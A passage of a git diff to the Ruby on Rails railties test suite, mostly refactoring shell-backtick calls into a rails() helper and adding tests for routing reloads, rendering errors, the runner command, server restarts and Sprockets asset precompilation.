-         bin/rails db:test:prepare 2>&1 --trace`
-      end
-      assert_match(/Execute db:test:load_structure/, output)
-    end
-
-    def test_rake_dump_structure_should_respect_db_structure_env_variable
-      Dir.chdir(app_path) do
-        # ensure we have a schema_migrations table to dump
-        `bin/rails db:migrate db:structure:dump SCHEMA=db/my_structure.sql`
-      end
-      assert File.exist?(File.join(app_path, "db", "my_structure.sql"))
+      rails "generate", "scaffold", "user", "username:string"
+      rails "db:migrate"
+      output = rails("db:test:prepare", "--trace")
+      assert_match(/Execute db:test:load_schema/, output)
     end
 
     def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
       add_to_config "config.active_record.schema_format = :sql"
 
-      output = Dir.chdir(app_path) do
-        `bin/rails g model post title:string;
-         bin/rails db:migrate:redo 2>&1 --trace;`
-      end
+      rails "g", "model", "post", "title:string"
+      output = rails("db:migrate:redo", "--trace")
 
       # expect only Invoke db:structure:dump (first_time)
       assert_no_match(/^\*\* Invoke db:structure:dump\s+$/, output)
     end
 
     def test_rake_dump_schema_cache
-      Dir.chdir(app_path) do
-        `bin/rails generate model post title:string;
-         bin/rails generate model product name:string;
-         bin/rails db:migrate db:schema:cache:dump`
-      end
+      rails "generate", "model", "post", "title:string"
+      rails "generate", "model", "product", "name:string"
+      rails "db:migrate", "db:schema:cache:dump"
       assert File.exist?(File.join(app_path, "db", "schema_cache.yml"))
     end
 
     def test_rake_clear_schema_cache
-      Dir.chdir(app_path) do
-        `bin/rails db:schema:cache:dump db:schema:cache:clear`
-      end
-      assert !File.exist?(File.join(app_path, "db", "schema_cache.yml"))
+      rails "db:schema:cache:dump", "db:schema:cache:clear"
+      assert_not File.exist?(File.join(app_path, "db", "schema_cache.yml"))
     end
 
     def test_copy_templates
-      Dir.chdir(app_path) do
-        `bin/rails app:templates:copy`
-        %w(controller mailer scaffold).each do |dir|
-          assert File.exist?(File.join(app_path, "lib", "templates", "erb", dir))
-        end
-        %w(controller helper scaffold_controller assets).each do |dir|
-          assert File.exist?(File.join(app_path, "lib", "templates", "rails", dir))
-        end
+      rails "app:templates:copy"
+      %w(controller mailer scaffold).each do |dir|
+        assert File.exist?(File.join(app_path, "lib", "templates", "erb", dir))
+      end
+      %w(controller helper scaffold_controller).each do |dir|
+        assert File.exist?(File.join(app_path, "lib", "templates", "rails", dir))
       end
     end
 
@@ -385,18 +316,8 @@ def test_template_load_initializers
       app_file "config/initializers/dummy.rb", "puts 'Hello, World!'"
       app_file "template.rb", ""
 
-      output = Dir.chdir(app_path) do
-        `bin/rails app:template LOCATION=template.rb`
-      end
-
+      output = rails("app:template", "LOCATION=template.rb")
       assert_match(/Hello, World!/, output)
     end
-
-    def test_tmp_clear_should_work_if_folder_missing
-      FileUtils.remove_dir("#{app_path}/tmp")
-      errormsg = Dir.chdir(app_path) { `bin/rails tmp:clear` }
-      assert_predicate $?, :success?
-      assert_empty errormsg
-    end
   end
 end
diff --git a/railties/test/application/rendering_test.rb b/railties/test/application/rendering_test.rb
index ccafc5b6f13dd..8d6d1c3c5dc9b 100644
--- a/railties/test/application/rendering_test.rb
+++ b/railties/test/application/rendering_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
 module ApplicationTests
-  class RoutingTest < ActiveSupport::TestCase
+  class RenderingTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
     include Rack::Test::Methods
 
@@ -34,11 +36,119 @@ def show
         <%= params[:id] %>
       RUBY
 
-      get "/pages/foo"
+      get("/pages/foo", {}, "HTTPS" => "on")
+      assert_equal 200, last_response.status
+
+      get("/pages/foo.bar", {}, "HTTPS" => "on")
       assert_equal 200, last_response.status
+    end
+
+    test "New formats and handlers are detected from initializers" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: 'pages#show'
+        end
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+        class PagesController < ApplicationController
+          layout false
+
+          def show
+            render :show, formats: [:awesome], handlers: [:rubby]
+          end
+        end
+      RUBY
+
+      app_file "app/views/pages/show.awesome.rubby", <<-RUBY
+        {
+          format: @current_template.format,
+          handler: @current_template.handler
+        }.inspect
+      RUBY
+
+      app_file "config/initializers/mime_types.rb", <<-RUBY
+        Mime::Type.register "text/awesome", :awesome
+      RUBY
 
-      get "/pages/foo.bar"
+      app_file "config/initializers/template_handlers.rb", <<-RUBY
+        module RubbyHandler
+          def self.call(_, source)
+            source
+          end
+        end
+        ActiveSupport.on_load :action_view do
+          ActionView::Template.register_template_handler(:rubby, RubbyHandler)
+        end
+      RUBY
+
+      get("/", {}, "HTTPS" => "on")
       assert_equal 200, last_response.status
+      assert_equal({ format: :awesome, handler: RubbyHandler }.inspect, last_response.body)
+    end
+
+    test "template content is dumped if rendered inline and a syntax error is encountered" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: 'pages#show'
+        end
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+        class PagesController < ApplicationController
+          layout false
+
+          def show
+            render(inline: "<% [ %>")
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get("/", {}, { "HTTPS" => "on" })
+
+      assert_equal 500, last_response.status
+      document = Nokogiri::HTML5.parse(last_response.body)
+      nodes = document.css("div.exception-message>div.message")
+
+      assert_not_empty(nodes)
+      assert_equal("Encountered a syntax error while rendering template: check <% [ %>\n", nodes.first.text)
+    end
+
+    test "template content is not dumped when rendered from file and a syntax error is encountered" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: 'pages#show'
+        end
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+        class PagesController < ApplicationController
+          layout false
+
+          def show
+          end
+        end
+      RUBY
+
+      app_file "app/views/pages/show.html.erb", <<-RUBY
+        <% [ %>
+      RUBY
+
+      app("development")
+
+      get("/", {}, { "HTTPS" => "on" })
+
+      assert_equal 500, last_response.status
+      document = Nokogiri::HTML5.parse(last_response.body)
+      nodes = document.css("div.exception-message>div.message")
+
+      assert_not_empty(nodes)
+      assert_equal(
+        "Encountered a syntax error while rendering template located at: app/views/pages/show.html.erb",
+        nodes.first.text,
+      )
     end
   end
 end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index c515e2b270c3a..0affcc80ea2cb 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
@@ -28,14 +30,18 @@ def teardown
 
     test "rails/info/routes in development" do
       app("development")
-      get "/rails/info/routes"
-      assert_equal 200, last_response.status
+      quietly do
+        get "/rails/info/routes"
+        assert_equal 200, last_response.status
+      end
     end
 
     test "rails/info/properties in development" do
       app("development")
-      get "/rails/info/properties"
-      assert_equal 200, last_response.status
+      quietly do
+        get "/rails/info/properties"
+        assert_equal 200, last_response.status
+      end
     end
 
     test "/rails/info routes are accessible with globbing route present" do
@@ -80,33 +86,80 @@ def index
       assert_equal "foo", last_response.body
     end
 
+    test "appended root takes precedence over internal welcome controller" do
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+        end
+
+        Rails.application.routes.append do
+          get "/", to: "foo#index"
+        end
+      RUBY
+
+      app("development")
+      get "/"
+
+      assert_equal "foo", last_response.body
+    end
+
     test "rails/welcome in production" do
       app("production")
-      get "/"
-      assert_equal 404, last_response.status
+      quietly do
+        get("/", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+      end
     end
 
     test "rails/info in production" do
       app("production")
-      get "/rails/info"
-      assert_equal 404, last_response.status
+      quietly do
+        get("/rails/info", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+      end
     end
 
     test "rails/info/routes in production" do
       app("production")
-      get "/rails/info/routes"
-      assert_equal 404, last_response.status
+      quietly do
+        get("/rails/info/routes", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+      end
     end
 
     test "rails/info/properties in production" do
       app("production")
-      get "/rails/info/properties"
-      assert_equal 404, last_response.status
+      quietly do
+        get("/rails/info/properties", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+      end
+    end
+
+    test "rails/health in production" do
+      app("production")
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "up" => "rails/health#show", as: :rails_health_check
+        end
+      RUBY
+
+      get("/up", {}, "HTTPS" => "on")
+      assert_equal 200, last_response.status
     end
 
     test "simple controller" do
       simple_controller
 
+      app "development"
+
       get "/foo"
       assert_equal "foo", last_response.body
     end
@@ -134,6 +187,8 @@ def foo_or_bar?
         end
       RUBY
 
+      app "development"
+
       get "/foo"
       assert_equal "bar", last_response.body
     end
@@ -148,6 +203,8 @@ def foo_or_bar?
         end
       RUBY
 
+      app "development"
+
       get "/blog/archives"
       assert_equal "/archives", last_response.body
     end
@@ -168,6 +225,8 @@ def index
         end
       RUBY
 
+      app "development"
+
       get "/foo"
       assert_equal "/blog", last_response.body
     end
@@ -195,6 +254,8 @@ def index
         end
       RUBY
 
+      app "development"
+
       get "/foo"
       assert_equal "foo", last_response.body
 
@@ -228,6 +289,8 @@ def index
         end
       RUBY
 
+      app "development"
+
       get "/foo"
       assert_equal "foo", last_response.body
 
@@ -263,7 +326,59 @@ def index
       assert_equal "WIN", last_response.body
     end
 
-    { "development" => "baz", "production" => "bar" }.each do |mode, expected|
+    test "routes appending blocks after reload" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller/:action'
+        end
+      RUBY
+
+      add_to_config <<-R
+        config.before_eager_load do |app|
+          app.reload_routes!
+        end
+
+        config.after_initialize do |app|
+          app.routes.append do
+            get '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
+          end
+        end
+      R
+
+      app "production"
+
+      get "/win"
+      assert_equal "WIN", last_response.body
+    end
+
+    test "routes drawing from config/routes" do
+      app_file "config/routes.rb", <<-RUBY
+        AppTemplate::Application.routes.draw do
+          draw :external
+        end
+      RUBY
+
+      app_file "config/routes/external.rb", <<-RUBY
+        get ':controller/:action'
+      RUBY
+
+      controller :success, <<-RUBY
+        class SuccessController < ActionController::Base
+          def index
+            render plain: "success!"
+          end
+        end
+      RUBY
+
+      app "development"
+      get "/success/index"
+      assert_equal "success!", last_response.body
+    end
+
+    {
+      "development" => ["baz", "http://www.apple.com", "/dashboard"],
+      "production"  => ["bar", "http://www.microsoft.com", "/profile"]
+    }.each do |mode, (expected_action, expected_url, expected_mapping)|
       test "reloads routes when configuration is changed in #{mode}" do
         controller :foo, <<-RUBY
           class FooController < ApplicationController
@@ -274,30 +389,85 @@ def bar
             def baz
               render plain: "baz"
             end
+
+            def custom
+              render plain: custom_url
+            end
+
+            def mapping
+              render plain: url_for(User.new)
+            end
+          end
+        RUBY
+
+        app_file "app/models/user.rb", <<-RUBY
+          class User
+            extend ActiveModel::Naming
+            include ActiveModel::Conversion
+
+            def self.model_name
+              @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+            end
+
+            def persisted?
+              false
+            end
           end
         RUBY
 
         app_file "config/routes.rb", <<-RUBY
           Rails.application.routes.draw do
-            get 'foo', to: 'foo#bar'
+            draw :external
+            get 'custom', to: 'foo#custom'
+            get 'mapping', to: 'foo#mapping'
+
+            direct(:custom) { "http://www.microsoft.com" }
+            resolve("User") { "/profile" }
           end
         RUBY
 
+        app_file "config/routes/external.rb", <<-RUBY
+          get 'foo', to: 'foo#bar'
+        RUBY
+
         app(mode)
 
-        get "/foo"
+        https = (mode == "production" ? "on" : "off")
+
+        get("/foo", {}, "HTTPS" => https)
         assert_equal "bar", last_response.body
 
+        get("/custom", {}, "HTTPS" => https)
+        assert_equal "http://www.microsoft.com", last_response.body
+
+        get("/mapping", {}, "HTTPS" => https)
+        assert_equal "/profile", last_response.body
+
         app_file "config/routes.rb", <<-RUBY
           Rails.application.routes.draw do
-            get 'foo', to: 'foo#baz'
+            draw :another_external
+            get 'custom', to: 'foo#custom'
+            get 'mapping', to: 'foo#mapping'
+
+            direct(:custom) { "http://www.apple.com" }
+            resolve("User") { "/dashboard" }
           end
         RUBY
 
+        app_file "config/routes/another_external.rb", <<-RUBY
+          get 'foo', to: 'foo#baz'
+        RUBY
+
         sleep 0.1
 
-        get "/foo"
-        assert_equal expected, last_response.body
+        get("/foo", {}, "HTTPS" => https)
+        assert_equal expected_action, last_response.body
+
+        get("/custom", {}, "HTTPS" => https)
+        assert_equal expected_url, last_response.body
+
+        get("/mapping", {}, "HTTPS" => https)
+        assert_equal expected_mapping, last_response.body
       end
     end
 
@@ -358,6 +528,14 @@ class FooController < ApplicationController
           def index
             render plain: "foo"
           end
+
+          def custom
+            render plain: custom_url
+          end
+
+          def mapping
+            render plain: url_for(User.new)
+          end
         end
       RUBY
 
@@ -369,6 +547,21 @@ def index
         end
       RUBY
 
+      app_file "app/models/user.rb", <<-RUBY
+        class User
+          extend ActiveModel::Naming
+          include ActiveModel::Conversion
+
+          def self.model_name
+            @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+          end
+
+          def persisted?
+            false
+          end
+        end
+      RUBY
+
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
@@ -382,13 +575,19 @@ def index
       get "/bar"
       assert_equal 404, last_response.status
       assert_raises NoMethodError do
-        assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
+        Rails.application.routes.url_helpers.bar_path
       end
 
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
           get 'bar', to: 'bar#index'
+
+          get 'custom', to: 'foo#custom'
+          direct(:custom) { 'http://www.apple.com' }
+
+          get 'mapping', to: 'foo#mapping'
+          resolve('User') { '/profile' }
         end
       RUBY
 
@@ -402,6 +601,14 @@ def index
       assert_equal "bar", last_response.body
       assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
 
+      get "/custom"
+      assert_equal "http://www.apple.com", last_response.body
+      assert_equal "http://www.apple.com", Rails.application.routes.url_helpers.custom_url
+
+      get "/mapping"
+      assert_equal "/profile", last_response.body
+      assert_equal "/profile", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
@@ -417,7 +624,19 @@ def index
       get "/bar"
       assert_equal 404, last_response.status
       assert_raises NoMethodError do
-        assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
+        Rails.application.routes.url_helpers.bar_path
+      end
+
+      get "/custom"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        Rails.application.routes.url_helpers.custom_url
+      end
+
+      get "/mapping"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        Rails.application.routes.url_helpers.polymorphic_path(User.new)
       end
     end
 
@@ -440,19 +659,41 @@ def index
         end
       RUBY
 
+      app_file "app/models/user.rb", <<-RUBY
+        class User
+          extend ActiveModel::Naming
+          include ActiveModel::Conversion
+
+          def self.model_name
+            @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+          end
+
+          def persisted?
+            false
+          end
+        end
+      RUBY
+
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':locale/foo', to: 'foo#index', as: 'foo'
+          get 'users', to: 'foo#users', as: 'users'
+          direct(:microsoft) { 'http://www.microsoft.com' }
+          resolve('User') { '/profile' }
         end
       RUBY
 
       get "/en/foo"
       assert_equal "foo", last_response.body
       assert_equal "/en/foo", Rails.application.routes.url_helpers.foo_path(locale: "en")
+      assert_equal "http://www.microsoft.com", Rails.application.routes.url_helpers.microsoft_url
+      assert_equal "/profile", Rails.application.routes.url_helpers.polymorphic_path(User.new)
 
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':locale/bar', to: 'bar#index', as: 'foo'
+          get 'users', to: 'foo#users', as: 'users'
+          direct(:apple) { 'http://www.apple.com' }
         end
       RUBY
 
@@ -464,9 +705,17 @@ def index
       get "/en/bar"
       assert_equal "bar", last_response.body
       assert_equal "/en/bar", Rails.application.routes.url_helpers.foo_path(locale: "en")
+      assert_equal "http://www.apple.com", Rails.application.routes.url_helpers.apple_url
+      assert_equal "/users", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+
+      assert_raises NoMethodError do
+        Rails.application.routes.url_helpers.microsoft_url
+      end
     end
 
     test "resource routing with irregular inflection" do
+      app("development")
+
       app_file "config/initializers/inflection.rb", <<-RUBY
         ActiveSupport::Inflector.inflections do |inflect|
           inflect.irregular 'yazi', 'yazilar'
@@ -493,5 +742,100 @@ def index
       get "/yazilar"
       assert_equal 200, last_response.status
     end
+
+    test "reloading routes removes methods and doesn't undefine them" do
+      app("development")
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+        end
+      RUBY
+
+      app_file "app/models/url_helpers.rb", <<-RUBY
+        module UrlHelpers
+          def foo_path
+            "/foo"
+          end
+        end
+      RUBY
+
+      app_file "app/models/context.rb", <<-RUBY
+        class Context
+          include UrlHelpers
+          include Rails.application.routes.url_helpers
+        end
+      RUBY
+
+      controller "url", <<-RUBY
+        class UrlController < ApplicationController
+          def index
+            context = Context.new
+            render plain: context.foo_path
+          end
+        end
+      RUBY
+
+      get "/url"
+      assert_equal "/foo", last_response.body
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+          get '/bar', to: 'foo#index', as: 'foo'
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/url"
+      assert_equal "/bar", last_response.body
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/url"
+      assert_equal "/foo", last_response.body
+    end
+
+    test "request to rails/welcome for api_only app is successful" do
+      add_to_config <<-RUBY
+        config.api_only = true
+        config.action_dispatch.show_exceptions = :none
+        config.action_controller.allow_forgery_protection = true
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_equal 200, last_response.status
+    end
+
+    test "request to rails/welcome is successful when default_protect_from_forgery is false" do
+      add_to_config <<-RUBY
+        config.action_dispatch.show_exceptions = :none
+        config.action_controller.default_protect_from_forgery = false
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_equal 200, last_response.status
+    end
+
+    test "routes reloader uses configured file_watcher" do
+      add_to_config <<-RUBY
+        config.file_watcher = ActiveSupport::EventedFileUpdateChecker
+      RUBY
+
+      app "development"
+
+      assert_instance_of ActiveSupport::EventedFileUpdateChecker, Rails.application.routes_reloader.send(:updater)
+    end
   end
 end
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
index 7d058f6ee61a1..bb57031b04b02 100644
--- a/railties/test/application/runner_test.rb
+++ b/railties/test/application/runner_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "env_helpers"
 
@@ -24,15 +26,20 @@ def teardown
     end
 
     def test_should_include_runner_in_shebang_line_in_help_without_option
-      assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner` }
+      assert_match "/rails runner", rails("runner", allow_failure: true)
     end
 
     def test_should_include_runner_in_shebang_line_in_help
-      assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner --help` }
+      assert_match "/rails runner", rails("runner", "--help")
     end
 
     def test_should_run_ruby_statement
-      assert_match "42", Dir.chdir(app_path) { `bin/rails runner "puts User.count"` }
+      assert_match "42", rails("runner", "puts User.count")
+    end
+
+    def test_should_set_argv_when_running_code
+      output = rails("runner", "puts ARGV.join(',')", "--foo", "a1", "-b", "a2", "a3", "--moo")
+      assert_equal "--foo,a1,-b,a2,a3,--moo", output.chomp
     end
 
     def test_should_run_file
@@ -40,7 +47,7 @@ def test_should_run_file
       puts User.count
       SCRIPT
 
-      assert_match "42", Dir.chdir(app_path) { `bin/rails runner "bin/count_users.rb"` }
+      assert_match "42", rails("runner", "bin/count_users.rb")
     end
 
     def test_no_minitest_loaded_in_production_mode
@@ -57,7 +64,7 @@ def test_should_set_dollar_0_to_file
       puts $0
       SCRIPT
 
-      assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bin/rails runner "bin/dollar0.rb"` }
+      assert_match "bin/dollar0.rb", rails("runner", "bin/dollar0.rb")
     end
 
     def test_should_set_dollar_program_name_to_file
@@ -65,7 +72,7 @@ def test_should_set_dollar_program_name_to_file
       puts $PROGRAM_NAME
       SCRIPT
 
-      assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bin/rails runner "bin/program_name.rb"` }
+      assert_match "bin/program_name.rb", rails("runner", "bin/program_name.rb")
     end
 
     def test_passes_extra_args_to_file
@@ -73,7 +80,15 @@ def test_passes_extra_args_to_file
       p ARGV
       SCRIPT
 
-      assert_match %w( a b ).to_s, Dir.chdir(app_path) { `bin/rails runner "bin/program_name.rb" a b` }
+      assert_match %w( a b ).to_s, rails("runner", "bin/program_name.rb", "a", "b")
+    end
+
+    def test_should_run_stdin
+      app_file "bin/count_users.rb", <<-SCRIPT
+      puts User.count
+      SCRIPT
+
+      assert_match "42", Dir.chdir(app_path) { `cat bin/count_users.rb | bin/rails runner -` }
     end
 
     def test_with_hook
@@ -83,35 +98,64 @@ def test_with_hook
         end
       RUBY
 
-      assert_match "true", Dir.chdir(app_path) { `bin/rails runner "puts Rails.application.config.ran"` }
+      assert_match "true", rails("runner", "puts Rails.application.config.ran")
     end
 
     def test_default_environment
-      assert_match "development", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+      assert_match "development", rails("runner", "puts Rails.env")
+    end
+
+    def test_environment_option
+      assert_match "production", rails("runner", "-e", "production", "puts Rails.env")
+    end
+
+    def test_environment_option_is_properly_expanded
+      assert_match "production", rails("runner", "-e", "prod", "puts Rails.env")
     end
 
     def test_runner_detects_syntax_errors
-      output = Dir.chdir(app_path) { `bin/rails runner "puts 'hello world" 2>&1` }
-      assert_not $?.success?
+      output = rails("runner", "puts 'hello world", allow_failure: true)
+      assert_not_predicate $?, :success?
       assert_match "unterminated string meets end of file", output
     end
 
     def test_runner_detects_bad_script_name
-      output = Dir.chdir(app_path) { `bin/rails runner "iuiqwiourowe" 2>&1` }
-      assert_not $?.success?
-      assert_match "undefined local variable or method `iuiqwiourowe' for", output
+      output = rails("runner", "iuiqwiourowe", allow_failure: true)
+      assert_not_predicate $?, :success?
+      assert_match(/undefined local variable or method [`']iuiqwiourowe' for/, output)
     end
 
     def test_environment_with_rails_env
       with_rails_env "production" do
-        assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+        assert_match "production", rails("runner", "puts Rails.env")
       end
     end
 
     def test_environment_with_rack_env
       with_rack_env "production" do
-        assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+        assert_match "production", rails("runner", "puts Rails.env")
       end
     end
+
+    def test_can_call_same_name_class_as_defined_in_thor
+      app_file "app/models/task.rb", <<-MODEL
+      class Task
+        def self.count
+          42
+        end
+      end
+      MODEL
+
+      assert_match "42", rails("runner", "puts Task.count")
+    end
+
+    def test_works_with_database_url
+      db_name = use_postgresql
+      previous_url = ENV["DATABASE_URL"]
+      ENV["DATABASE_URL"] = "postgres://localhost/#{db_name}"
+      assert_equal "1", rails("runner", "print 1")
+    ensure
+      ENV["DATABASE_URL"] = previous_url
+    end
   end
 end
diff --git a/railties/test/application/server_test.rb b/railties/test/application/server_test.rb
new file mode 100644
index 0000000000000..dfd19d3f493c2
--- /dev/null
+++ b/railties/test/application/server_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "console_helpers"
+require "rails/command"
+
+module ApplicationTests
+  class ServerTest < ActiveSupport::TestCase
+    include ConsoleHelpers
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "restart rails server with custom pid file path" do
+      skip "PTY unavailable" unless available_pty?
+
+      File.open("#{app_path}/config/boot.rb", "w") do |f|
+        f.puts "ENV['BUNDLE_GEMFILE'] = '#{Bundler.default_gemfile}'"
+        f.puts 'require "bundler/setup"'
+      end
+
+      primary, replica = PTY.open
+      pid = nil
+
+      Bundler.with_original_env do
+        pid = Process.spawn("bin/rails server -b localhost -P tmp/dummy.pid", chdir: app_path, in: replica, out: replica, err: replica)
+        assert_output("Listening", primary, 100)
+
+        rails("restart")
+
+        assert_output("Restarting", primary, 100)
+        assert_output("Listening", primary, 100)
+      ensure
+        kill(pid) if pid
+      end
+    end
+
+    test "run +server+ blocks after the server starts" do
+      skip "PTY unavailable" unless available_pty?
+
+      File.open("#{app_path}/config/boot.rb", "w") do |f|
+        f.puts "ENV['BUNDLE_GEMFILE'] = '#{Bundler.default_gemfile}'"
+        f.puts 'require "bundler/setup"'
+      end
+
+      add_to_config(<<~CODE)
+        server do
+          puts 'Hello world'
+        end
+      CODE
+
+      primary, replica = PTY.open
+      pid = nil
+
+      Bundler.with_original_env do
+        pid = Process.spawn("bin/rails server -b localhost", chdir: app_path, in: replica, out: primary, err: replica)
+        assert_output("Hello world", primary, 100)
+        assert_output("Listening", primary, 100)
+      ensure
+        kill(pid) if pid
+      end
+    end
+
+    private
+      def kill(pid)
+        Process.kill("TERM", pid)
+        Process.wait(pid)
+      rescue Errno::ESRCH
+      end
+  end
+end
diff --git a/railties/test/application/sprockets_assets_test.rb b/railties/test/application/sprockets_assets_test.rb
new file mode 100644
index 0000000000000..cf3cba3d99492
--- /dev/null
+++ b/railties/test/application/sprockets_assets_test.rb
@@ -0,0 +1,655 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+require "active_support/json"
+require "sprockets"
+
+module ApplicationTests
+  class SprocketsAssetsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def tmp_path(*args)
+      @sprockets_tmp_path ||= File.realpath(Dir.mktmpdir(nil, File.join(RAILS_FRAMEWORK_ROOT, "tmp")))
+      File.join(@sprockets_tmp_path, *args)
+    end
+
+    def setup
+      build_app(initializers: true)
+
+      contents = File.read("#{app_path}/config/application.rb")
+      contents.gsub!(/propshaft/, "sprockets/railtie")
+      File.write("#{app_path}/config/application.rb", contents)
+
+      contents = File.read("#{app_path}/Gemfile")
+      contents.gsub!(/propshaft/, "sprockets-rails")
+      File.write("#{app_path}/Gemfile", contents)
+
+      remove_from_env_config :development, "config.assets.digest = false"
+
+      app_file "app/assets/config/manifest.js", <<~JS
+        //= link_tree ../images
+        //= link_directory ../stylesheets .css
+      JS
+      assert_file_exists("#{app_path}/app/assets/config/manifest.js")
+
+      add_to_env_config :production, "config.assets.compile = false"
+      add_to_env_config :development, "config.assets.quiet = true"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def precompile!(env = nil)
+      with_env env.to_h do
+        quietly do
+          rails ["assets:precompile", "--trace"]
+        end
+      end
+    end
+
+    def run_app_update
+      quietly do
+        rails ["app:update"]
+      end
+    end
+
+    def clean_assets!
+      quietly do
+        rails ["assets:clobber"]
+      end
+    end
+
+    def assert_file_exists(filename)
+      globbed = Dir[filename]
+      assert Dir.exist?(File.dirname(filename)), "Directory #{File.dirname(filename)} does not exist"
+      assert_predicate globbed, :one?, "Found #{globbed.size} files matching #{filename}. All files in the directory: #{Dir.entries(File.dirname(filename)).inspect}"
+    end
+
+    def assert_no_file_exists(filename)
+      assert_not File.exist?(filename), "#{filename} does exist"
+    end
+
+    test "assets routes have higher priority" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
+        end
+      RUBY
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      require "#{app_path}/config/environment"
+
+      get "/assets/demo.js"
+      assert_equal 'a = "/assets/rails.png";', last_response.body.strip
+    end
+
+    test "precompile creates the file, gives it the original asset's content and run in production as default" do
+      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/javascripts/foo/application.js", "alert();"
+
+      precompile!
+
+      files = Dir["#{app_path}/public/assets/application-*.js"]
+      files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+      files.each do |file|
+        assert_not_nil file, "Expected application.js asset to be generated, but none found"
+        assert_equal "alert();\n", File.read(file)
+      end
+    end
+
+    def test_precompile_does_not_hit_the_database
+      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/javascripts/foo/application.js", "alert();"
+      app_file "app/controllers/users_controller.rb", <<-eoruby
+        class UsersController < ApplicationController; end
+      eoruby
+      app_file "app/models/user.rb", <<-eoruby
+        class User < ActiveRecord::Base; raise 'should not be reached'; end
+      eoruby
+
+      precompile! \
+        RAILS_ENV: "production",
+        DATABASE_URL: "postgresql://baduser:badpass@127.0.0.1/dbname"
+
+      files = Dir["#{app_path}/public/assets/application-*.js"]
+      files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+      files.each do |file|
+        assert_not_nil file, "Expected application.js asset to be generated, but none found"
+        assert_equal "alert();".strip, File.read(file).strip
+      end
+    end
+
+    test "precompile application.js and application.css and all other non JS/CSS files if manifest requests" do
